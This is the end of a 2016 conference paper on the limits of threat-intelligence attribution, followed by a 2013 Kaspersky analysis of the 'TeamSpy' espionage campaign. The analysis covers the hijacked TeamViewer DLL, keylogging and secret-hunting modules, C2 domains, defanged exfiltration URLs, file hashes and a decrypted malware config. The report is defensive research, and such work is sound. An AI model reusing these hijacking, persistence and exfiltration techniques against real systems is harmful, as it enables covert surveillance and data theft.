The disagreement is most visible in disparate naming schemes across vendors, an issue that isnt as superfi cial as picking a shared name when differences in visibility are coupled with one vendors insistence to categorize an actor by their shared use of a given lateral movement tool while another vendor focuses on a cluster of phishing infrastructure.
The issue extends beyond mere preference to refl ect a heterogeneous understanding of the scope and intended functionality of threat intelligence products.
Functionality Further complications arise when considering the variable intended functionality of threat intelligence products.
Is the intended purpose PR value, enterprise defence, or cyber situational awareness?
Each of these is a legitimate purpose but not all are equally served by the same product.
We touched upon the complications that arise with seeking PR value, which tends to require audacious attribution claims that stand in confl icting opposition to the alternatives mentioned.
A product intended to support an audacious claim particularly through wide and loud distribution will cripple its own actionable value as it spooks the attacker.
The likely reaction is also a general retooling that cripples any prolonged awareness or ability to track a known determined malicious actor.
On the other hand, defending an enterprise network gains little from country-level attribution claims.
By its very nature, the institution is endowed with little latitude to retaliate against a nation state no matter what the injustice of a cyber-espionage or sabotage campaign.
Defending the enterprise requires campaign-level understanding that includes an awareness of infection vectors, toolkits, and attacker standard practices.
Loosening the grip of a specifi c campaign will then allow the victim enterprise to switch to tracking the threat actor or related actor cluster in preparation for the future attempts that will almost certainly come.
Finally, in the case of the larger project of cyber situational awareness, there are requirements that sometimes stand in juxtaposition to both the media imperatives and the defence of any particular entity.
With the most cunning and resilient actors, tracking may well require an infection not to be cleared immediately, so as not to spook the actor being hunted.
WAVE YOUR FALSE FLAGS  BARTHOLOMEW  GUERRERO-SAADE 10 VIRUS BULLETIN CONFERENCE OCTOBER 2016 Understanding that some threat actors are so cunning and well resourced that playing network whack-a-mole is unlikely to deter them in the least, researchers stand to benefi t from quiet observation and the deployment of radical tailored defence solutions rather than the simple disinfection of a given machine.
Though this approach may be shocking to those critics who consider the single role of anti-malware to be that of machine disinfection, it is important to consider the heavy weaponry commanded by actors of this calibre.
Exemplary god mode- style zero-day exploits are a concern for an entire software ecosystem and not just a single victim.
In turn, these require a large-scale immune response, beginning with the discovery and understanding of the technique leveraged, propelled in priority by its abuse in the wild, and only then postulated for resolution by the software behemoths that support the relevant codebase.
The role of the anti-malware industry here extends beyond simple metrics and immediate customer obligations to that of defenders of the larger ecosystems in the face of unscrupulous actors.
Given an understanding of how the intended audience shapes the research imperative and thereby the consumable product, there is a need for research teams to defi ne their intended audience during the production cycle itself and not after.
REFLECTIONS Threat intelligence has true value beyond the current hype of an emerging pocket in the information security industry.
As showcased by the multiple examples presented of abuse in the wild, there is a need for professionals whose job it is to understand the apex predators in the malware ecosystem.
In juxtaposition to IT and IR teams whose overlapping responsibilities in responding to attacks are sometimes considered capable of obviating the need for TI, the latter is the sole producer of the historical context that helps mitigate the attackers potential ability to manipulate responders into chasing down ghosts, by virtue of familiarity and a broad- thinking methodology.
In place of a summary conclusion, we instead leave open questions in need of deeper refl ection, on the part of both producers and consumers of threat intelligence, to serve as our fi nal takeaways in furthering a much needed conversation.
What is solid attribution?
Considering the common bases for attribution, limitations in visibility specifi c to each research camp, and requirements specifi c to each type of customer, what could possibly make a satisfactory attribution claim?
We must ask ourselves if there can even be such a thing.
In a hypothetical scenario where we have packets captured en route (as in the common jab PCAP or GTFO), could it not be a backdoored system being used to proxy through?
Where we catch a nation-state operator red-handed, would we not need an understanding of the provenance of their tasking?
More realistically, there will never be a solid enough attribution claim for everyone to get behind.
Rather, the combination of multiple indicators helps an analyst make an educated determination of the trustworthiness or accuracy of a claim.
This further highlights the importance of estimative language that allows others to make strategic decisions based on preferably unbiased facts with the analysts opinion as a guide.
What is actually needed?
A more sobering metric for attribution claims rests in understanding the action capability of the intended recipient.
What can a single non-governmental entity do with the name of a nation-state operator?
How does it bolster its defensive stance against further attack to be told which Chinese citizen to peg on its dartboard?
On the other hand, a government (whose recourse includes diplomatic, legal, and even retributory CNO) stands to benefi t from the greatest possible level of fi delity in attribution.
The question what do you actually need?
has to be answered in relation to who are you meant to be serving?.
The guiding principle remains the production of actionable intelligence and not the feeding of cyber-voyeurism and grandstanding.
Who can really do attribution?
The attribution limitations do not apply to all producers equally.
If a PCAP is considered the ultimate measure of attack fi delity, then what entity is more supremely positioned to perform attribution than the modern SIGINT agencies?
These gods of the wires are positioned in such a way as to enact near perfect recall when an attack is discovered, either by snooping on the wires or having popped the routers in a country of interest.
In true Greek irony, the Cassandras of the modern age are hamstrung by their own Apollonian curse: as intelligence agencies they are blessed with the ability to see but not to publicly substantiate, the gift to attribute without being believed.
Who are you hacking back?
Finally, for anyone holding out hope that anything like cyber-retribution can ever legitimately enter the stage for private entities, we hope to have provided enough reason for ample skepticism.
In a world where solid attribution claims in the private sector are unlikely, how does one go about hacking back?
Moreover, with cunning attackers manipulating victims into casting blame towards an unrelated entity, whos to blame when misattribution leads to a retributory attack on another blameless victim?
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The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns Kaspersky Lab Global Research and Analysis Team (GReAT) Version 1.02 - 20 March 2013 Introduction For at least several years, a mysterious threat actor infiltrated and tracked, performed surveillance and stole data from governmental organisations, some private companies and human rights activists throughout the Commonwealth of Independent States (CIS) and Eastern European nations.
Some parts of this operation extended into Western nations and the Middle East as well, with victims in sectors such as energy and heavy industry manufacturing.
The attackers performed their intelligence gathering and surveillance partly using TeamViewer (http://www.teamviewer.com/en/index.aspx), a legitimate support software package commonly used for remote administration.
In addition, they deployed custom written intelligence gathering components and lateral movement utilities.
We are calling this threat actor the TeamSpy crew because of their preference for using the legal software TeamViewer as a main part of their toolset.
So, Team What?
TeamSpy.
This covert cross-nation, cyber surveillance data theft and monitoring operation may not have recruited technical wizards for their team.
But the use of legitimate, signed software packages in addition to custom made software, along with various dll path hijack tricks, allowed the threat actor to conduct effective operations targeting hundreds of victims, including high level/high value individuals.
According to its web site, TeamViewer is a All-In-One Software for Remote Support and Online Meetings.
It is free for private use and is installed by more than 100,000,000 users spread over more than 200 countries.
TeamViewer has versions available for Windows, Mac OS X, Linux, iPhone or Android, making it a very flexible remote administration tool.
http://www.teamviewer.com/en/index.aspx The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The TeamViewer web site Compared to Poison Ivy and other Remote Access Tools (RATs) that have been in the news for years, TeamViewer has an advantage which makes it attractive to cybercriminals: is comes signed, adding to its seeming legitimacy.
In addition to TeamViewer, the TeamSpy operations are supplemented by a variety of custom-built surveillance modules.
Instead of maintaining all operations with the TeamViewer RAT, the team developed their own reconnaissance and stealth modules.
These provide TeamSpy attackers with the following functionality: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Module name Purpose Bi  Detailed operating system and BIOS information collection Keylogger, sc_and_console Keylogging and screenshot capture GetIOSData  Attached device history collection via iTunes SystemInfoSafe  Alert-avoiding system information collection FileList2  Local file information listing based on attackers interests NetscanFiles2  Remote shares file listing Hunts secret content, secret/private crypto keys, passwords NetScanShares2 List available network shares and network accessible servers/domains.
SystemInfo  General system and user account information collection Avicap32  Extend TeamViewer remote control functionality to ensure stealth and persistence, self defense from automated and manual analysis and discovery, maintain communications and updates with attackers command-and-control One interesting fingerprint of this operation is the inclusion of custom, hand-drawn icons in some of the attack tools.
Examples include: It seems that at least at heart, one of the TeamSpy crew members dreams of being a graphic artist.
Or maybe they tried to send security researchers a hidden message?
Observations about the TeamSpy Toolset - No find glue file The toolset demonstrates clever, although lazy choices about legitimate software and certificate abuse, along with a minimal but effective effort at using simple and crude custom encryption algorithms.
Weve analyzed in depth two command and control servers used by the attackers but we are aware of several others used in the campaign.
The two servers we analyzed are politnews.org and bannetwork.org.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 On the command and control servers, the attackers maintain tools and modules, some obfuscated and named as JPG files.
The .JPG files maintain hidden executable codes, and are simply encoded with a rolling XOR encryption using the same key across all of the components: 0x0e0f101112.
There are quite a few traces left by the attackers, which normally can give you hints about attakers profile.
For example, a keylogger tool used a system event called __klgskot__.
While klg stands for keylogger, skot is a Russian word meaning livestock.
There are many more Russian language traces in this malware toolkit.
The version of Teamviewer server which is used as a part of malware bundle is Russian localized.
It at least includes TeamViewer_Resource_ru.dll file which has a set of Russian strings used by the application.
A couple of other modules, while searching for files on the hard drive, looked for those containing pass, secret, and Russian equivalents  and .
In addition to Russian, there was a Georgian equivalent of secret, but written in the Latin alphabet: saidumlo.
In the recent Red October report, our research noted liberal use of Cyrillic characters throughout code and files...Another noteworthy fact is in the first line of this file, which is a command to switch the codepage of an infected system to 1251.
This is required to address files and directories that contain Cyrillic characters in their names.
Here is a screenshot demonstrating the system codepage switch in a malicious batch file: Usage of CP1251 in Red October Just like Red October, TeamSpy components maintain the same sort of language switch to Cyrillic throughout code and files.
Here, we note that an entire TeamSpy SQLite databases strings used to house stolen victim data, located on one of the major C2, is specified to default to the Cyrillic character set.
http://www.securelist.com/en/analysis/204792262/Red_October_Diplomatic_Cyber_Attacks_Investigation4 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Tables within the database are explicitly configured to use the Cyrillic character set.
Here is the log table, filled with victim check-in records: The statistic table, along with all of the others, are explicitly Cyrillic: Also, some specifics come from CC domain names, such as bulbanews.org and kartopla.org.
The words bulba and kartopla are written in Latin-Belarusian and Latin-Ukrainian, both words mean a potato.
Interestingly, among ex-USSR countries, Belarusians are jokingly called bulbashi which means potato people due to the popularity of this vegetable in local agriculture.
One of the modules we found, called footer has LANG_RUSSIAN property set in the resource section of the executable.
Also, one of the database tables discovered at a CC server contained some text in Russian written with latin alphabet: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 A rough translation of the highlighted strings from Russian to English: Obshie manevri.
Ispolzovat tolko s razreshenija S-a  General maneuvers.
Use only after approval of S-a.
vkluchenie oomask  switching oomask on Ispolzovanie bilda ...
Using build ...
The same CC we analyzed had a full FTP access log with source IP that uploaded malicious modules in 2012 (some of them were already removed from the server, but the names and sizes remained in the log file).
This log file also shows intensive usage of Russian language in the file names: The filenames include   which is translated as ready to spread,    meaning Protocol checks.
The most amusing part of this log is crypted_bulba which is translated as encrypted potato.
Everyone is familiar with baked potato or mashed potato, however this is our first touch with encrypted potato.
The SystemInfoSave module lists all files in the Program Files folder which are newer than the hard-coded date: 22 November 1963.
The date is clearly an Easter Egg, with several important incidents linked this specific date: US President John F. Kennedy is assassinated in Dallas.
Aldous Huxley, the author of Brave New World and many other titles, dies.
CS Lewis, the author of Chronicles of Narnia and many other titles, dies.
Maintaining Teamwork and Infrastructure Our investigation of the teams infrastructure centers around two domains used for command-and-control: politnews.org and bannetwork.org.
But clearly, the strategy guiding this team is to pull off multiple watering hole attacks, and sometimes pollute ad networks, inefficiently blanketing the region they are most interested in with malvertizing and redirections to their malicious sites.
These two servers have been heavily used over years of attack campaigns, with more recent servers receiving tens if not hundreds of hits in the past week.
politnews.org was originally registered on the June 18th, 2004 by one Zacepenko Ilia Igorevich at OnlineNIC Inc: Zacepenko Ilia Igorevich 9th square, 10-1,1 NI Larne, GB 127591 politnewsmail.ru The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 bannetwork.org was originally registered on September 2nd, 2004 by one Dmitryi Ivastov at OnlineNIC Inc as well: Dmitryi Ivastov Mira street, 1a Moscow, RU 103555 bannetworkmail.ru We believe that these are fictional identities and used only to register these individual domains.
The two servers resided at several hosts over the past decade, but from 2010, both domains were maintained at Russian provider Host Telecom.
(
known malicious IP for bannetwork.org: 89.188.104.7).
For the most part, these systems maintain identical toolsets, structure, software and accounts.
Both of these systems hosted an FTP server and an Apache HTTP web server, along with the same user accounts for running each.
The HTTP servers were used to serve job.txt, which maintained a set of system commands for agents checking in, among other files described below.
Interestingly, other files included html pages and exploits related to the well-known exploit kit Eleonore Exploit Pack, created and maintained by Exmanoize.
Also, one of the server scripts to collect infection success statistics mentions the Eleonore exploit kit by name: And one of the more recent, current sites, checkmeil.com, is serving both malicious java and pdf files.
Of course, just like Eleonore started serving couple of years ago, it defaults to deliver a malicious JAR file first, prior to other exploits potentially sent to the victim system.
https://threatpost.com/en_us/blogs/anatomy-eleonore-exploit-kit-060310 https://threatpost.com/en_us/blogs/anatomy-eleonore-exploit-kit-060310 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The 2012 version of door.jar (CVE-2012-0507) exploit is blocked proactively by our AEP functionality at runtime and detected by Kaspersky products as HEUR:Exploit.
Java.
CVE-2012-0507.gen.
A malicious PDF is served if the Java Runtime is not present on the system.
Our products detect this particular malicious file  as Exploit.JS.Pdfka.gbf.
Most of the TeamSpy servers are using a free, Russian open source tool named ReaderRssPhp 1.0.
This is a set of PHP scripts designed to read and display RSS feeds on your site.
Most likely, the attackers planned their attacks well in advance and built a set of web sites using these scripts to provide news aggregation channels serving content at least somewhat relevant to their target victims favorite web sites.
Over the past years, the attackers added exploit packs like Eleonore on their news aggregation sites.
Then, the attackers injected iframes into carefully selected web sites frequently visited by their target victims.
The iframes redirect these target visitors (and some extras) to their previously-prepared malicious sites.
For instance, redirections from konflikt.ru to the attackers bannetwork.org started in October 2005.
In February 2006, users were redirected from daymohk.org to bannetwork.org, followed by www.turkmenistan.gov.tm and chechentimes.net in March.
The list of infected watering hole sites continued to grow from there.
http://www.newsrss.ru/readerrssphp/index.php The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Attacks from the bannetwork.org site appear to have been related to the following links by at least February 2010: bannetwork(dot)org/5058/spl/ bannetwork(dot)org/5058/spl/inc/function.php bannetwork(dot)org/5058/spl/ms-041.jpg bannetwork(dot)org/5058/spl/vx_2c.exe bannetwork(dot)org/5058/spl/new-ms-041.jpg Based on  the server access stats, we were able to put together a thorough list of web sites which appear to have acted as referrers to the exploit packs.
Since the early infections, it appears that they have been compromised and redirecting visitors on and off until recently: daymohk.org chechenpress.info daymohk.chechenpress.org chechentimes.net caucasuslive.org kauna-talu.com.ua timorseada.org mediaf.org ichkeria.info kavkazanhaamash.com rusedina.org konflikt.ru forum.ladoshki.com shaheeds.org hghltd.yandex.com turkmenistan.gov.tm Victim Checkins and Volume The command-and-control servers maintain a database of victims with their associated TeamViewer IDs and passwords.
These can be seen in the C2 online interface which lists the IP, last access time and the user status: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The attacker can then connect to any of the online IPs using the known login/pass combination and silently spy on the victims.
Command Server Directory Structure and Contents The command and control servers we analyzed maintain the same /public_html file contents.
MD5 filename purpose 0926bf7a4623d72311e43b16d667ae1a  DSC.exe Malware dropper 3299885cf257d6482ee0f2132585e9c6  TeamViewer.ico TeamViewer installer eab5e4d1bff2b132f6dd21f2cf9bb7a0  bi.jpg Encrypted, see Bi Tool, Appendix A 38e00a13ebeb5959d89fe81e82866896  [removed for security reasons] List online and offline victims with TeamViewer access info 74fc74f8b21d9b43a423471889a103cc  [removed for security Dump C2 statistics to a specific The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 reasons] file on the server Varies [removed for security reasons] Error log for the scripts 83a1634f660d22b990b0a82b1185de5b getiosdata.jpg Encrypted, see GetiOSData tool, Appendix A a1e237206869a46fc833f1c4ee209654 index.htm Main page - shows empty message d41d8cd98f00b204e9800998ecf8427e job.txt Leftover from unknown scripts e31423960c7057a40a7ebd4c017a5e8b klg.jpg Encrypted, see Keylogger tool, appendix A e165a2ac3aa6d072a0d89a47f99f05b3 sc_and_console.jpg Encrypted, see sc_and_console (screenshot and console) tool, appendix A 3f8d93a3b71c8b396e35cfca0a83af50 stat.php Used by infected clients to report to C2 856b130dc8002c3ecdce5fb43f23312f  stat.txt Statistics created by stat_old.php 58e775ab85f180fd60269cad300e56d1 stat_old.php Old statistics script 43831cfe169810cf06bb430b860d2f3f  under_construction.gif under construction icon 671a7fe2e0cc01ce07c5c6b80b92dfd6 user_offline.gif Icon for offline users 7b4ef82be7510173a6fabe79f74158bc user_online.gif Icon for online users The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 For logging infections and handling infected users, all C2 servers rely on a MySQL database to which all the scripts connect.
The username and password for the database connections are hardcoded in the C2 scripts, for instance: Several tables exist in the databases, named stat_TV, stat_TV_log, stat, stat2, stat5058, statistic.
These carry various information about the victims that connected to the C2 as well as unique data that allows the attackers to interact with them.
Lesser Used Spy Tools It seems that attackers outsourced much of their infiltration development work, utilizing exploit kits like Eleonore and others.
It is the upfront investment of vulnerability research and exploit development and expertise that are beyond the reach of many interested parties like TeamSpy that results in this outsourcing.
In addition to the commodity exploit packs, their sites are also known to spread the Ardamax keylogger, another cheap, commercially available surveillance package.
iexplore.exe (compiled Thu April 08 12:14:44 2010) MD5: 512c13c374cdaabb00bf98256872c813 Kaspersky name: Trojan-Spy.
Win32.Ardamax.dmn Sends stolen information to hxxp://www.politnews.org/dd_4.php, hxxp://www.bannetwork.org/dd_4.php iexplore.exe (compiled Thu March 04 17:44:44  2010) MD5: 76c33bf350ca7447730e8a37f2d93000 Kaspersky name: Trojan-Spy.
Win32.Ardamax.dkm Sends stolen information to hxxp://www.politnews.org/dd_4.php, hxxp://www.bannetwork.org/dd_4.php The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 iexplore.exe (compiled Tue Feb 08 06:58:58 2011) MD5: be612d16b07c59d22b47f9313c44437c Kaspersky name: Trojan-Spy.
Win32.Ardamax.mei Sends stolen information to: hxxp://www.politnews.org/dd_4.php, hxxp://www.news-top.org/dd_4.php Statistics and Victim Profiles Kaspersky Security Network is Kaspersky cloud security services.
It collects statistics on malware incidents from around the world.
The TeamSpy attacks have been recorded in several countries around the world, with the highest number of incidents being in Russia and Ukraine.
Heres a map of infections: Teamspy KSN detections (unique PCs) - March 2013 In addition to the KSN reports, we were able to extract a list of victims from two command and control servers databases.
These are available to anyone who knows the URL which serves these lists.
For bannetwork.org we have the following list of registered victims: Country Count RU  1433 82.78 TR  84 4.85 IR  37 2.14 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 SE  35 2.02 FR  31 1.79 US  20 1.16 KZ  17 0.98 BE  12 0.69 CH  11 0.64 For news-top.org, we have the following list of victims: Country Count TR  55 33.33 RU  37 22.42 IN  22 13.33 DE  15 9.09 US  13 7.88 SA  10 6.06 BE  5 3.03 ES  3 1.82 NO  3 1.82 GB  1 0.61 IR  1 0.61 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 In both cases, Russia and Turkey appear as top targets, with other countries such as India, Sweden, Iran or US following.
It should be noted that the statistics from the command and control servers include only the victims that were infected with the Teamviewer-based package.
The command servers have bigger logs which possibly include many other victims, although the nature of these is impossible to determine because the respective database tables are not handled anymore by the existing scripts.
For instance, the C2 at bannetwork.org has an extended log of supposed victims, spanning for two years, with the earliest entry from 23 Sep 2011 and the latest from March 2013.
Number of unique victims per month handled by the bannetwork.org C2 A peak can be observed on Jan 2012 - when the attackers infected a large amount of victims, 323.
In regards of victims profiles, in general, the IPs do not appear to hold useful information.
Some do belong to specific networks, however, its unclear if they are researchers or true victims.
A top of the ISPs for the victims at bannetwork.org include: ISP name Victims INGUSHELECTROSVYAZ 680 PARS ONLINE 17 TURK TELEKOMUNIKASYON ANONIM SIRKETI 15 AZADNET RESANEH 11 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 DYNAMIC IP POOL FOR BROADBAND CUSTOMERS 9 JSC KAZAKHTELECOM ALMATY AFFILIATE 9 DJIBOUTI TELECOM S.A. 8 JSC KAZAKHTELECOM PAVLODAR AFFILIATE 7 SCARTEL LTD.
7 FARHANG AZMA COMMUNICATIONS COMPANY LTD 6 KYIVSKI TELEKOMUNIKATSIYNI MEREZHI LLC 4 AKADO-STOLITSA JSC 2 ALLTELE ALLMANNA SVENSKA TELEFONAKTIEBOLAGET 2 ASIANET IS A CABLE ISP PROVIDING 2 Links with countlist.org and Alexander Sokolov We were able to identify several older samples which connect to the command and control domain countlist.org.
This domain appears to have been an active C2 between May 2010 - May 2011.
The Google safe diagnostic page for this domain points to an interesting blog: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The domain master-sudtyaib.narod.ru appears to host a blog dedicated to freeing the Russian political activist Alexander Sokolov (for details: http://www.fidh.org/IMG//pdf/obs_report_russia_sokolov.pdf) .
The page does not appear to be malicious at the time of writing of this analysis, however, the file sokolov.html does have an injected iframe which points to another domain: The iframe points to countlist.org/xmps5060, which was no longer available when we tested it.
The domain countlist.org has been sinkholed by Kaspersky Lab for security reasons.
http://www.fidh.org/IMG/pdf/obs_report_russia_sokolov.pdf The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 countlist.org is connected with the other sites - in 2010, it served PDF exploits and a dropper that delivered the Ardamax keylogger, which reported monitored keystrokes back to both bannetwork.org and politnews.org: According to KSN data, countlist.org served multiple versions of malicious PDF exploits from these URLs: countlist(dot)org/5061/ countlist(dot)org/5062/ countlist(dot)org/5062/pdf.php countlist(dot)org/5062/pdf.php?splpdf_all countlist(dot)org/xmps5060/ countlist(dot)org/xmps5060/index.php countlist(dot)org/xmps5060/index.php?spl2 countlist(dot)org/xmps5060/index.php?spl3 countlist(dot)org/xmps5060/index.php?spl4 countlist(dot)org/xmps5060/pdf.php?splpdf_all countlist(dot)org/xmps5060/pdf.php?splpdf_ff countlist(dot)org/xmps5060/pdf.php?splpdf_op Below are details of the payload delivered by the PDF exploits: button.jpg (compiled Mon July 26 10:08:26 2010) Served from hxxp://countlist(dot)org/xmps5060/button.jpg in August 2010 MD5: c220a5ae869a1e3e9f5e997f8bf57e82 Using a set of embedded batch scripts, this dropper copies itself to c:\documents and settings\All Users\Application Data\iexplore.exe on the users system and attempts to add this path to the current users Run registry key for persistence.
Kaspersky name: Trojan-Ransom.
Win32.PornoBlocker.aei Sends stolen information to hxxp://www.politnews.org/dd_4.php, hxxp://www.bannetwork.org/dd_4.php Other Teamviewer based campaigns We were first alerted by attacks from unknown assailants which were using runtime patched Teamviewer as part of their toolset in May 2012.
The attacks (see https://charter97.org/ru/news/2012/4/28/51488/, story in Russian) were using a number of .RU domains as command and control, namely kosmoaministrator.ru, adminplagin.ru and korakura.ru.
These domains are now sinkholed by Kaspersky Lab.
https://charter97.org/ru/news/2012/4/28/51488/ The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 In addition to these attacks, we discovered a number of other command and control servers used by attackers which employ the Teamviewer-based attack toolkit.
Based on our research, it seems the Teamviewer based trojans appeared in the Russian underground forums a couple of time ago and were readily available for purchase by interested parties.
At the moment, it is unclear if there is a connection between all these attackers (such as the ones from the charter97.org story) and the TeamSpy Crew.
The TeamSpy Crew differentiates itself by mostly using .org domains for command and control.
On these command and control servers, they maintain a specific infrastructure and directory structure, for instance, serving the malicious TeamViewer.ico installer.
Conclusions According to existing information, the TeamSpy crew has been active at least since 2008, possibly going back to as early as 2004 if we are to believe the domain registration dates and consider the news aggregation channels.
During the years, the team has been focusing on attacking a variety of targets, ranging from activists and political to heavy industry and national information agencies.
Some of the aspects of this operation, such as keywords and usage of Russian terms remind us of Red October, although there are no direct links at the moment.
If we are to compare it to Red October, the TeamSpy Crew and the tools they use are far less sophisticated and professional.
To attack their targets, the TeamSpy crew relied on a variety of custom tools, designed to collect special and interesting documents, such as those containing the word secret in their names.
The special name saidumlo (Georgian - secret) probably indicates at least some of the victims were in Georgia or from Georgia.
The most recent method used by the TeamSpy crew involved the using of Teamviewer, a legal  remote administration tool.
Since Teamviewer is normally used in a wide range of conditions, it is not normally detected by security software with default settings.
In addition, the modules are validated  with digital signatures, once again, making them trustworthy to a range of whitelisting software.
Unlike Red October, where many IPs could be traced to Governments and Governmental institutions based on WHOIS data, in this case, the vast majority of IPs belong to ISPs which do not advertise such information.
In case of TeamSpy crew, except for a very few cases, the identity of the victims remains a mystery.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Appendix A.
Technical Details Malware MD5 list 83a1634f660d22b990b0a82b1185de5b cd56d04639dd395a035bc2a2e11f5d3d 6b3a74728f8683c0fa14a2675e5364c6 b3258020b9ab53a1635da844aed955ea f445d90fdd7ab950adabc79451e57e2a 696f408af42071fbf1c60e6e50b60e09 5f7a067f280ac0312abfbd9ee35cb522 72ec4047db89a70e5be7370a19bcd600 5c7bf0bb019b6c2dcd7de61f89a2de2e 341b430d96a06d9489fc49206a5b1cdd 0926bf7a4623d72311e43b16d667ae1a c220a5ae869a1e3e9f5e997f8bf57e82 Known C2s: Domain, IPs politnews.org, 89.188.104.7 bannetwork.org, 89.188.104.7 planetanews.org, 178.20.153.23 bulbanews.org, 46.164.129.74, 194.0.200.202 r2bnetwork.org (sinkholed by Kaspersky Lab) newslite.org, 95.211.216.148 kortopla.org (sinkholed by Kaspersky Lab) news-top.org, 93.190.45.115 countlist.org (sinkholed by Kaspersky Lab) checkmeil.com, 31.131.31.93, 204.251.15.175 IP: 89.188.104.7 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 C2 related information: bannetwork.org: Created On:02-Sep-2004 10:20:14 UTC OnlineNIC Inc. (R64-LROR) Dmitryi Ivastov Mira street, 1a Moscow, RU 103555 bannetworkmail.ru Website screenshot: politnews.org Created On:18-Jun-2004 09:01:13 UTC OnlineNIC Inc. Zacepenko Ilia Igorevich 9th square, 10-1,1 NI Larne city, GB 127591 politnewsmail.ru Website screenshot: mailto:bannetworkmail.ru mailto:politnewsmail.ru The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 planetanews.org Created On: 23-Mar-2012 08:52:26 UTC OnlineNIC Inc Krepov Bogdan Serafimovich g. Lugansk, Hersonskaya 52 Lugansk,UA 91000 krepovi.ua Website screenshot: bulbanews.org Created On: 05-Oct-2011 09:20:16 UTC OnlineNIC Inc. Krepov Bogdan Serafimovich g. Lugansk, Hersonskaya 52 Lugansk, UA 91000 krepovi.ua mailto:krepovi.ua The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Website screenshot: kortopla.org (SINKHOLED by Kaspersky Lab on 14 March 2013) Created On: 05-Oct-2011 08:10:16 UTC OnlineNIC Inc. Krepov Bogdan Serafimovich g. Lugansk, Hersonskaya 52 Lugansk, UA 91000 krepovi.ua r2bnetwork.org (SINKHOLED by Kaspersky Lab on 14 March 2013) Created On:01-Jan-2011 20:04:20 UTC Moniker Online Services LLC newslite.org Created On: 05-Mar-2010 14:43:01 UTC PrivacyProtect.org news-top.org Created On: 05-Mar-2010 14:43:01 UTC PrivacyProtect.org The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Website screenshot: countlist.org (SINKHOLED by Kaspersky Lab on 18 March 2013) Created On:18-May-2010 10:14:43 UTC eNom, Inc. Andrey  Balabko ul.
Mezhevaya, dom 26, kv.
15 Registrant City:Kiev, UA 03164 Registrant Email:balabkoi.ua checkmeil.com ENOM, INC.
Created On: 2012-04-17 balabkoi.ua Andrey Balabko () Lugansk, Marksa 13-8 Lugansk, Luganskaya 91000 UA The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Website screenshot: Technical description of data theft modules and tools used by TeamSpy Crew Avicap32 Dll-hijacker Module Known variants: MD5 Compilation date Linker version Different on every system 2012.10.22 13:53:11 (GMT) 1.67 The file is a PE EXE file written in Assembler.
This file is a special Dll module that uses a vulnerability in TeamViewer v6 known as Dll-hijacking.
If this file is stored in the same folder as TeamViewer.exe, then when TeamViewer is started it will show no warning, no popups, no systray icons and will silently continue working providing remote access to the infected machine.
This module not only disables TeamViewer popups but also extends its functionality to the classical HTTP bot supporting a set of commands.
This module installed with Teamviewer 6 allows the attackers to access computer desktop remotely, activate webcam or microphone, download or upload files to the infected machine and many more.
DllMain The Module execution starts from the initialization procedure.
First, the code searches for tv.cfg file in local directory and then common system paths, such as C:\Windows, C:\Windows\System32.
The code uses non-standard way to pass some arguments to the called function.
This is most likely done to harden manual analysis or break automated analysis of the code.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Non-standard push of the tv.cfg string offset to the stack If the tv.cfg file wasnt found the process exits.
If it was found, the module gets unique system ID, which is a hashed value of system drive Volume Serial Number.
To hash the Volume Serial Number two types of hash algorithms are used: custom SHL/SHR/OR-based algorithm and then MD5.
The result is stored in a hex-string which is used as a decryption key for the tv.cfg and part of the code in current file.
Alternatively a hash of 792 bytes of executable code from TeamViewer.exe is used for tv.cfg decryption.
After that the module decrypts tv.cfg using RC4 algorithm.
An example of decrypted tv.cfg is presented below: szUserAgent Mozilla5.0 szadminstat tv/getinfo.php szadminhost newslite.org szfilehost nTimeOut 10000 nStartIdleTime 60 nregKey szSubKey SOFTWARE\Microsoft\Windows\CurrentVersion\Run szValueName svchost szteampass 1234 nVideo 4 szlogftp bannetwork.org szusername [removed] szpassword [removed] szlogkey sysenter The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 szlogstat log.php szpostdata id nkilltvwin7 nkilltvwinXp nfakedel 1 After decrypting the config, the module checks if szadminhost is found inside.
If it is not there, the executions stops.
Then the module decrypts string data and extra code from its own data and code section.
The data is stored in TLS section of the parent process.
After using some of the file parts, the module overwrites them with 0-byte values to change the module in memory and possibly avoid detection or dumping of the module.
This is the end of initialization part.
Next, it starts main procedure, which loads export functions from the real avicap32.dll located in system directory (C:\Windows\System32\).
It also gets current Windows OS version and creates autorun key, under value specified in the tv.cfg.
Currently it is HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost Then the module patches the hosting TeamViewer process.
